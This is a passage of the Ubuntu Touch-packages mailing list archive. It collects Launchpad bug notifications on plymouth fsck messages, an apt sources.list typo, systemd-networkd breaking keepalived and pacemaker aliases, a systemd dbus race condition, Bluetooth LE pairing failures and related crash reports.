touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1880250] Re: Ctrl-C message displayed without any actual disk check
As for text-only boot: Maybe we could convince upstream to enable verbose mode once an fsck takes longer then say 30s (similar to how the eye-of-cyclon animation kicks in when services take a long time to start). With something like that implemented, dropping fsckd might be an option, I think. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1880250 Title: Ctrl-C message displayed without any actual disk check Status in plymouth package in Ubuntu: Fix Released Status in systemd package in Ubuntu: Confirmed Status in plymouth source package in Focal: Confirmed Status in systemd source package in Focal: Confirmed Status in plymouth source package in Groovy: Fix Released Status in systemd source package in Groovy: Confirmed Bug description: [Impact] * fsck messages is shown by plymouth, despite all fscks already completed. [Test Case] * Install Ubuntu Desktop with full disk encryption * Observe that fsck messages (press ctrl+c) is shown, and remains there on screen for a little while as plymouth transitions to gdm * After installing the update, observe that when fsck completes the messages are cleared and the transition to gdm is done without fsck/ctrl+c message present. * After this change lands in -updates, and daily desktop images are built with this, double check that casper-md5sum transition is also smooth. [Regression Potential] * plymouth spinner theme is adjusted to clear the footer, at the end of fsck, even if systemd-fsckd didn't do that. At the moment there are two consumers of the fsck apis systemd-fsckd & casper-md5sum used on installed systems and live-isos respectively. If something else pushes messages to the footer, they might get cleared at the end of fsck. [Other Info] * Original bug report It seems the transition to bgrt lost something with Ubuntu's disk check details. The only thing I see on my screen during a long disk check is the "press Ctrl-C to stop all in progress disk checks" with no progress. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/plymouth/+bug/1880250/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1880250] Re: Ctrl-C message displayed without any actual disk check
>From my personal POV, I consider the progress bar more important then the >ability to interrupt fsck with CTRL+C. Nowadays, SSDs are much more common and enable_periodic_fsck = 0 has been the default for many years now. So this is much less of an issue today then it was back in 2015, I think. I think text-only boot (without plymouth and without quiet) has a reasonable enough progress report from fsck. Without fsckd, we'd have no progress report in plymouth and quiet text-only boots. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1880250 Title: Ctrl-C message displayed without any actual disk check Status in plymouth package in Ubuntu: Fix Released Status in systemd package in Ubuntu: Confirmed Status in plymouth source package in Focal: Confirmed Status in systemd source package in Focal: Confirmed Status in plymouth source package in Groovy: Fix Released Status in systemd source package in Groovy: Confirmed Bug description: [Impact] * fsck messages is shown by plymouth, despite all fscks already completed. [Test Case] * Install Ubuntu Desktop with full disk encryption * Observe that fsck messages (press ctrl+c) is shown, and remains there on screen for a little while as plymouth transitions to gdm * After installing the update, observe that when fsck completes the messages are cleared and the transition to gdm is done without fsck/ctrl+c message present. * After this change lands in -updates, and daily desktop images are built with this, double check that casper-md5sum transition is also smooth. [Regression Potential] * plymouth spinner theme is adjusted to clear the footer, at the end of fsck, even if systemd-fsckd didn't do that. At the moment there are two consumers of the fsck apis systemd-fsckd & casper-md5sum used on installed systems and live-isos respectively. If something else pushes messages to the footer, they might get cleared at the end of fsck. [Other Info] * Original bug report It seems the transition to bgrt lost something with Ubuntu's disk check details. The only thing I see on my screen during a long disk check is the "press Ctrl-C to stop all in progress disk checks" with no progress. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/plymouth/+bug/1880250/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896823] Re: possible incorrect link to apt-transport-https
Thanks for taking your time to report this issue and help make Ubuntu better. I did some quick searching, and found that the generic messages The method driver %s could not be found. Is the %s package installed? are both in apt. However, I don't know where they get the list of method drivers and other parameters from, and I couldn't find any mentions of "hhttps". ** Also affects: apt (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1896823 Title: possible incorrect link to apt-transport-https Status in apt package in Ubuntu: New Status in ubuntu-release-upgrader package in Ubuntu: New Bug description: SYSTEM INFORMATION: Operating System: Kubuntu 20.10 ( Ubuntu Groovy Gorilla (development branch) KDE Plasma Version: 5.19.5 KDE Frameworks Version: 5.74.0 Qt Version: 5.14.2 Kernel Version: 5.8.0-18-generic OS Type: 64-bit Processors: 8 × Intel® Core™ i7-2600K CPU @ 3.40GHz Memory: 7.7 GiB of RAM Graphics Processor: GeForce GTX 560/PCIe/SSE2 possible incorrect link to apt-transport-https ~ whe i run "apt update", i get.. E: The method driver /usr/lib/apt/methods/hhttps could not be found. N: Is the apt-transport-hhttps package installed? "hhttps"..?? this should be "apt-transport-https" .. right..?? ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: ubuntu-release-upgrader-core 1:20.10.11 ProcVersionSignature: Ubuntu 5.8.0-18.19-generic 5.8.4 Uname: Linux 5.8.0-18-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu45 Architecture: amd64 CasperMD5CheckResult: skip CrashDB: ubuntu Date: Wed Sep 23 20:39:45 2020 InstallationDate: Installed on 2020-09-20 (3 days ago) InstallationMedia: Kubuntu 20.10 "Groovy Gorilla" - Alpha amd64 (20200920) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=nl_NL.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-release-upgrader Symptom: release-upgrade UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1896823/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1890716] Re: misidentifies .html file as Perl script when it contains JavaScript "use strict"
With the same setup I have the `mimetype` to output `text/html` for `index.html`. It seems it workds correctly. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to shared-mime-info in Ubuntu. https://bugs.launchpad.net/bugs/1890716 Title: misidentifies .html file as Perl script when it contains JavaScript "use strict" Status in shared-mime-info: Unknown Status in kde-cli-tools package in Ubuntu: New Status in shared-mime-info package in Ubuntu: Fix Committed Status in shared-mime-info package in Debian: Confirmed Bug description: For .html files `xdg-mime` reports wrong type. The culprit is the `"use strict"` phrase which is used in JavaScript. It should not mistake .html files for anything else except of text/html ! STEPS TO REPRODUCE: Run the following step by step in any folder: 1. $ echo "\"use strict\"" > index.html 2. $ xdg-mime query filetype index.html # -> application/x-perl - this should be text/html! Platform: Ubuntu 20.04.1 LTS (Focal Fossa)" Linux version 5.4.0-42-generic (buildd@lgw01-amd64-038) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) xdg-utils: 1.1.3-2ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/shared-mime-info/+bug/1890716/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896823] Re: possible incorrect link to apt-transport-https
You made a typo in your sources.list ** Changed in: apt (Ubuntu) Status: New => Invalid ** Changed in: ubuntu-release-upgrader (Ubuntu) Status: New => Invalid ** No longer affects: ubuntu-release-upgrader (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1896823 Title: possible incorrect link to apt-transport-https Status in apt package in Ubuntu: Invalid Bug description: SYSTEM INFORMATION: Operating System: Kubuntu 20.10 ( Ubuntu Groovy Gorilla (development branch) KDE Plasma Version: 5.19.5 KDE Frameworks Version: 5.74.0 Qt Version: 5.14.2 Kernel Version: 5.8.0-18-generic OS Type: 64-bit Processors: 8 × Intel® Core™ i7-2600K CPU @ 3.40GHz Memory: 7.7 GiB of RAM Graphics Processor: GeForce GTX 560/PCIe/SSE2 possible incorrect link to apt-transport-https ~ whe i run "apt update", i get.. E: The method driver /usr/lib/apt/methods/hhttps could not be found. N: Is the apt-transport-hhttps package installed? "hhttps"..?? this should be "apt-transport-https" .. right..?? ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: ubuntu-release-upgrader-core 1:20.10.11 ProcVersionSignature: Ubuntu 5.8.0-18.19-generic 5.8.4 Uname: Linux 5.8.0-18-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu45 Architecture: amd64 CasperMD5CheckResult: skip CrashDB: ubuntu Date: Wed Sep 23 20:39:45 2020 InstallationDate: Installed on 2020-09-20 (3 days ago) InstallationMedia: Kubuntu 20.10 "Groovy Gorilla" - Alpha amd64 (20200920) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=nl_NL.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-release-upgrader Symptom: release-upgrade UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1896823/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1854190] Re: software-properties-gtk crashed with TypeError in new_init(): could not convert value for property `transient_for' from DialogCacheOutdated to GtkWindow
*** This bug is a duplicate of bug 1829401 *** https://bugs.launchpad.net/bugs/1829401 ** This bug has been marked a duplicate of bug 1829401 gi.repository.GLib.GError: pk-client-error-quark: could not do untrusted question as no klass support -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to software-properties in Ubuntu. https://bugs.launchpad.net/bugs/1854190 Title: software-properties-gtk crashed with TypeError in new_init(): could not convert value for property `transient_for' from DialogCacheOutdated to GtkWindow Status in software-properties package in Ubuntu: New Bug description: Upon attempting to add debug repositories to apt and then opening Software Updater, the cache loaded and then I switched to the Ubuntu Software Tab. I then clicked the checkmark next to "software restricted by copyright or legal issues." I then clicked the Close button, and then the reload button. The window that shows the reload process became stuck and would not be dismissed, softlocking me in the update-manager app and forcing me to kill the application. Expected Results: Software Update applies the changes without issue and then quits, or throws and error if that is not possible and I made a mistake Actual Results: Software Update manager hangs ans softlocks me into forcing me to kill the process. Prior to the issue occurring, I ran "echo -e "deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse\ndeb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list" and then opened Software Update manager. I was attempting to follow the steps to debug on this URL: https://wiki.ubuntu.com/DebuggingProgramCrash However, I skipped the first step in adding the debug repositories and added the one in the second step before opening Software & Updates. Description: Ubuntu 19.10 Release: 19.10 software-properties-gtk: Installed: 0.98.5 Candidate: 0.98.5 Version table: *** 0.98.5 500 500 http://us.archive.ubuntu.com/ubuntu eoan/main amd64 Packages 500 http://us.archive.ubuntu.com/ubuntu eoan/main i386 Packages 100 /var/lib/dpkg/status ProblemType: Crash DistroRelease: Ubuntu 19.10 Package: software-properties-gtk 0.98.5 ProcVersionSignature: Ubuntu 5.3.0-23.25-generic 5.3.7 Uname: Linux 5.3.0-23-generic x86_64 ApportVersion: 2.20.11-0ubuntu8.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Nov 27 11:34:09 2019 ExecutablePath: /usr/bin/software-properties-gtk ExecutableTimestamp: 1562940163 InstallationDate: Installed on 2019-11-20 (6 days ago) InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017) InterpreterPath: /usr/bin/python3.7 PackageArchitecture: all ProcCmdline: /usr/bin/python3 /usr/bin/software-properties-gtk --open-tab 2 --toplevel 67108867 ProcCwd: /home/edwin ProcEnviron: LANG=en_US.UTF-8 PATH=(custom, no user) SHELL=/bin/bash XDG_RUNTIME_DIR= Python3Details: /usr/bin/python3.7, Python 3.7.5, python3-minimal, 3.7.5-1 PythonArgs: ['/usr/bin/software-properties-gtk', '--open-tab', '2', '--toplevel', '67108867'] PythonDetails: /usr/bin/python2.7, Python 2.7.17rc1, python-minimal, 2.7.17-1 SourcePackage: software-properties Title: software-properties-gtk crashed with TypeError in new_init(): could not convert value for property `transient_for' from DialogCacheOutdated to GtkWindow UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo mtime.conffile..etc.apport.crashdb.conf: 2019-11-24T17:17:29.098099 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1854190/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1829401] Re: gi.repository.GLib.GError: pk-client-error-quark: could not do untrusted question as no klass support
Same problem here when telling software-properties-gtk to refresh the
cache, in Ubuntu MATE 20.04.1.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/1829401
Title:
gi.repository.GLib.GError: pk-client-error-quark: could not do
untrusted question as no klass support
Status in packagekit package in Ubuntu:
Triaged
Status in packagekit source package in Eoan:
Won't Fix
Status in packagekit source package in Focal:
Confirmed
Bug description:
The Ubuntu Error Tracker has been receiving reports about a problem regarding
software-properties. This problem was most recently seen with package version
0.98.2, the problem page at
https://errors.ubuntu.com/problem/300ff7bf9068dc50ace4c5db5c4a34ba0dfc926d
contains more details, including versions of packages affected, stacktrace or
traceback, and individual crash reports.
If you do not have access to the Ubuntu Error Tracker and are a software
developer, you can request it at http://forms.canonical.com/reports/.
[Back trace]
Traceback (most recent call last):
File
"/usr/lib/python3/dist-packages/softwareproperties/gtk/DialogCacheOutdated.py",
line 86, in on_pktask_finish
results = self._pktask.generic_finish(result)
gi.repository.GLib.GError: pk-client-error-quark: could not do untrusted
question as no klass support (8)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File
"/usr/lib/python3/dist-packages/softwareproperties/gtk/DialogCacheOutdated.py",
line 89, in on_pktask_finish
Gtk.ButtonsType.CANCEL, _("Error while refreshing cache"))
File "/usr/lib/python3/dist-packages/gi/overrides/__init__.py", line 319,
in new_init
return super_init_func(self, **new_kwargs)
File "/usr/lib/python3/dist-packages/gi/overrides/Gtk.py", line 575, in
__init__
self._init(*args, **new_kwargs)
File "/usr/lib/python3/dist-packages/gi/overrides/__init__.py", line 319,
in new_init
return super_init_func(self, **new_kwargs)
File "/usr/lib/python3/dist-packages/gi/overrides/Gtk.py", line 521, in
__init__
_window_init(self, *args, **kwargs)
File "/usr/lib/python3/dist-packages/gi/overrides/__init__.py", line 319,
in new_init
return super_init_func(self, **new_kwargs)
TypeError: could not convert value for property `transient_for' from
DialogCacheOutdated to GtkWindow
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1829401/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1815101] Re: [master] Restarting systemd-networkd breaks keepalived, heartbeat, corosync, pacemaker (interface aliases are restarted)
Ubuntu HA wise:
I'm recommending all HA clusters to have the cluster interfaces
configured with systemd-networkd DIRECTLY instead of wrapping it through
netplan.io. At least until we're sure that HA has no issues with
netplan.io, having it configured directly will allow us to isolate
possible issues.
I see that this has been assigned to @slashd. Eric, Important thing here
is to have netplan fix in focal (as it is the latest LTS) in order for
HA to be supported with it. KeepConfiguration= is good enough, for now,
if using systemd-networkd only.
Thank you!
** Tags removed: server-next
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1815101
Title:
[master] Restarting systemd-networkd breaks keepalived, heartbeat,
corosync, pacemaker (interface aliases are restarted)
Status in netplan:
Confirmed
Status in heartbeat package in Ubuntu:
Won't Fix
Status in keepalived package in Ubuntu:
In Progress
Status in systemd package in Ubuntu:
In Progress
Status in keepalived source package in Xenial:
Confirmed
Status in systemd source package in Xenial:
Confirmed
Status in keepalived source package in Bionic:
Confirmed
Status in systemd source package in Bionic:
In Progress
Status in systemd source package in Disco:
Won't Fix
Status in systemd source package in Eoan:
Fix Released
Status in keepalived source package in Focal:
Confirmed
Status in systemd source package in Focal:
Fix Released
Bug description:
[impact]
- ALL related HA software has a small problem if interfaces are being
managed by systemd-networkd: nic restarts/reconfigs are always going
to wipe all interfaces aliases when HA software is not expecting it to
(no coordination between them.
- keepalived, smb ctdb, pacemaker, all suffer from this. Pacemaker is
smarter in this case because it has a service monitor that will
restart the virtual IP resource, in affected node & nic, before
considering a real failure, but other HA service might consider a real
failure when it is not.
[test case]
- comment #14 is a full test case: to have 3 node pacemaker, in that
example, and cause a networkd service restart: it will trigger a
failure for the virtual IP resource monitor.
- other example is given in the original description for keepalived.
both suffer from the same issue (and other HA softwares as well).
[regression potential]
- this backports KeepConfiguration parameter, which adds some
significant complexity to networkd's configuration and behavior, which
could lead to regressions in correctly configuring the network at
networkd start, or incorrectly maintaining configuration at networkd
restart, or losing network state at networkd stop.
- Any regressions are most likely to occur during networkd start,
restart, or stop, and most likely to involve missing or incorrect ip
address(es).
- the change is based in upstream patches adding the exact feature we
needed to fix this issue & it will be integrated with a netplan change
to add the needed stanza to systemd nic configuration file
(KeepConfiguration=)
[other info]
original description:
---
Configure netplan for interfaces, for example (a working config with
IP addresses obfuscated)
network:
ethernets:
eth0:
addresses: [192.168.0.5/24]
dhcp4: false
nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com,
phone.blah.com]
addresses: [10.22.11.1]
eth2:
addresses:
- 12.13.14.18/29
- 12.13.14.19/29
gateway4: 12.13.14.17
dhcp4: false
nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com,
phone.blah.com]
addresses: [10.22.11.1]
eth3:
addresses: [10.22.11.6/24]
dhcp4: false
nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com,
phone.blah.com]
addresses: [10.22.11.1]
eth4:
addresses: [10.22.14.6/24]
dhcp4: false
nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com,
phone.blah.com]
addresses: [10.22.11.1]
eth7:
addresses: [9.5.17.34/29]
dhcp4: false
optional: true
nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com,
phone.blah.com]
addresses: [10.22.11.1]
version: 2
Configure keepalived (again, a working config with IP addresses
obfuscated)
global_defs # Block id
{
notification_email {
sysadm...@blah.com
}
notification_email_from keepali...@system3.hq.blah
[Touch-packages] [Bug 1896614] Re: Race condition when starting dbus services
** Changed in: systemd Status: Unknown => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1896614 Title: Race condition when starting dbus services Status in systemd: Fix Released Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Bionic: In Progress Bug description: [impact] In certain scenarios, such as high load environments or when "systemctl daemon-reload" runs at the same time a dbus service is starting (e.g. systemd-logind), systemd is not able to track properly when the service has started, keeping the job 'running' forever. [test case] set up a 1-cpu VM with Bionic, and configure the system with a ssh key so the user can ssh to localhost. Then run: ubuntu@lp1896614-b:~$ while timeout 5 ssh localhost true; do echo 'reloading'; sudo systemctl restart systemd-logind & sudo systemctl daemon-reload; done that should exit the while loop after only a few attempts. At that point, there should be a running job for systemd-logind, and any logins attempted after the bug is reproduced should also hang waiting for the systemd-logind job to complete, e.g.: ubuntu@lp1896614-b:~$ systemctl list-jobs JOB UNIT TYPE STATE 525 systemd-logind.service start running 669 session-6.scopestart waiting 664 session-5.scopestart waiting 3 jobs listed. [regression potential] any regression would likely involve services that are Type=dbus failing to complete starting. as with any systemd change, regressions could also involve assertion failures in systemd which causes it to exit. [scope] this is needed only for bionic. this is fixed upstream with commit a5a8776ae5e4244b7f5acb2a1bfbe6e0b4d8a870 which is including starting in v243, so it is included already in focal and later. (per upstream bug) this was introduced by upstream commit 75152a4d6aedbfd3ee8b2d5782b9edf27407622a which was included starting in v237, so this bug is not present in xenial or earlier. [original description] In certain scenarios, such as high load environments or when "systemctl daemon-reload" runs at the same time a dbus service is starting (e.g. systemd-logind), systemd is not able to track properly when the service has started, keeping the job 'running' forever. The issue appears when systemd runs the "AddMatch" dbus method call to track the service's "NameOwnerChange" once it has already ran. A working instance would look like this: https://pastebin.ubuntu.com/p/868J6WBRQx/ A failing instance would be: https://pastebin.ubuntu.com/p/HhJZ4p8dT5/ I've been able to reproduce the issue on Bionic (237-3ubuntu10.42) running: sudo systemctl daemon-reload & sudo systemctl restart systemd-logind To manage notifications about this bug go to: https://bugs.launchpad.net/systemd/+bug/1896614/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1887968] Re: Pairing with Bluetooth LE mice fails on a Huawei Matebook 13 AMD laptop with Realtek RTL8822CE Wifi/Bluetooth combo adapter
I'm having the same problem with an Huawei Matebook 13 2020 R5 with
Xiaomi Mi Portable Mouse bluetooth mouse.
Can't connect with any tool.
[CHG] Device XX:XX:XX:XX:XX:XX Connected: yes
[CHG] Device XX:XX:XX:XX:XX:XX Connected: no
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1887968
Title:
Pairing with Bluetooth LE mice fails on a Huawei Matebook 13 AMD
laptop with Realtek RTL8822CE Wifi/Bluetooth combo adapter
Status in bluez package in Ubuntu:
Confirmed
Bug description:
I'm using Ubuntu 20.04 on a Huawei Matebook 13 AMD laptop which seems
to use a Realtek RTL8822CE Wifi/Bluetooth combo adapter.
I've been unsuccessful to pair with 2 different bluetooth mice.
However bluetooth seems to work with other devices. I'm under the
impression that this problem only happens with Bluetooth LE devices.
Trying to pair using bluetoothctl fails with the
org.bluez.Error.AuthenticationCanceled error:
[bluetooth]# pair E5:5B:67:2A:09:76
Attempting to pair with E5:5B:67:2A:09:76
[CHG] Device E5:5B:67:2A:09:76 Connected: yes
[CHG] Device E5:5B:67:2A:09:76 Connected: no
Failed to pair: org.bluez.Error.AuthenticationCanceled
A quick google search for org.bluez.Error.AuthenticationCanceled
reported nothing relevant.
Running btmon while trying to pair with the device gives me the
following:
Bluetooth monitor ver 5.53
= Note: Linux version 5.4.0-40-generic (x86_64)
0.998188
= Note: Bluetooth subsystem version 2.22
0.998193
= New Index: E8:6F:38:9C:2B:3C (Primary,USB,hci0)
[hci0] 0.998194
= Open Index: E8:6F:38:9C:2B:3C
[hci0] 0.998195
= Index Info: E8:6F:38:9C:2B:3C (Realtek Semiconductor Corporation)
[hci0] 0.998197
@ MGMT Open: bluetoothd (privileged) version 1.14
{0x0001} 0.998198
@ MGMT Open: btmon (privileged) version 1.14
{0x0002} 0.998310
@ MGMT Command: Pair Device (0x0019) plen 8
{0x0001} [hci0] 8.162442
LE Address: E5:5B:67:2A:09:76 (Static)
Capability: KeyboardDisplay (0x04)
< HCI Command: LE Set Extended Scan Parameters (0x08|0x0041) plen 8
#1 [hci0] 8.162527
Own address type: Public (0x00)
Filter policy: Ignore not in white list (0x01)
PHYs: 0x01
Entry 0: LE 1M
Type: Passive (0x00)
Interval: 60.000 msec (0x0060)
Window: 30.000 msec (0x0030)
> HCI Event: Command Complete (0x0e) plen 4
#2 [hci0] 8.284618
LE Set Extended Scan Parameters (0x08|0x0041) ncmd 2
Status: Success (0x00)
< HCI Command: LE Set Extended Scan Enable (0x08|0x0042) plen 6
#3 [hci0] 8.284654
Extended scan: Enabled (0x01)
Filter duplicates: Enabled (0x01)
Duration: 0 msec (0x)
Period: 0.00 sec (0x)
> HCI Event: Command Complete (0x0e) plen 4
#4 [hci0] 8.289616
LE Set Extended Scan Enable (0x08|0x0042) ncmd 2
Status: Success (0x00)
> HCI Event: LE Meta Event (0x3e) plen 52
#5 [hci0] 8.343614
LE Extended Advertising Report (0x0d)
Num reports: 1
Entry 0
Event type: 0x0013
Props: 0x0013
Connectable
Scannable
Use legacy advertising PDUs
Data status: Complete
Legacy PDU Type: ADV_IND (0x0013)
Address type: Random (0x01)
Address: E5:5B:67:2A:09:76 (Static)
Primary PHY: LE 1M
Secondary PHY: No packets
SID: no ADI field (0xff)
TX power: 127 dBm
RSSI: -20 dBm (0xec)
Periodic advertising invteral: 0.00 msec (0x)
Direct address type: Public (0x00)
D
[Touch-packages] [Bug 1897154] [NEW] [HP Laptop 15-bs1xx, Realtek ALC3227, Speaker, Internal] Playback problem
Public bug reported: Low audio sound ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.4.0-48.52-generic 5.4.60 Uname: Linux 5.4.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.9 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: aloke 3910 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Fri Sep 25 00:01:38 2020 InstallationDate: Installed on 2020-09-24 (0 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_Type: None of the above Title: [HP Laptop 15-bs1xx, Realtek ALC3227, Speaker, Internal] Playback problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/17/2019 dmi.bios.vendor: Insyde dmi.bios.version: F.60 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 832A dmi.board.vendor: HP dmi.board.version: 23.76 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.60:bd05/17/2019:svnHP:pnHPLaptop15-bs1xx:pvrType1ProductConfigId:rvnHP:rn832A:rvr23.76:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Laptop 15-bs1xx dmi.product.sku: 4AG16PA#ACJ dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1897154 Title: [HP Laptop 15-bs1xx, Realtek ALC3227, Speaker, Internal] Playback problem Status in alsa-driver package in Ubuntu: New Bug description: Low audio sound ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.4.0-48.52-generic 5.4.60 Uname: Linux 5.4.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.9 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: aloke 3910 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Fri Sep 25 00:01:38 2020 InstallationDate: Installed on 2020-09-24 (0 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_Type: None of the above Title: [HP Laptop 15-bs1xx, Realtek ALC3227, Speaker, Internal] Playback problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/17/2019 dmi.bios.vendor: Insyde dmi.bios.version: F.60 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 832A dmi.board.vendor: HP dmi.board.version: 23.76 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.60:bd05/17/2019:svnHP:pnHPLaptop15-bs1xx:pvrType1ProductConfigId:rvnHP:rn832A:rvr23.76:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Laptop 15-bs1xx dmi.product.sku: 4AG16PA#ACJ dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1897154/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
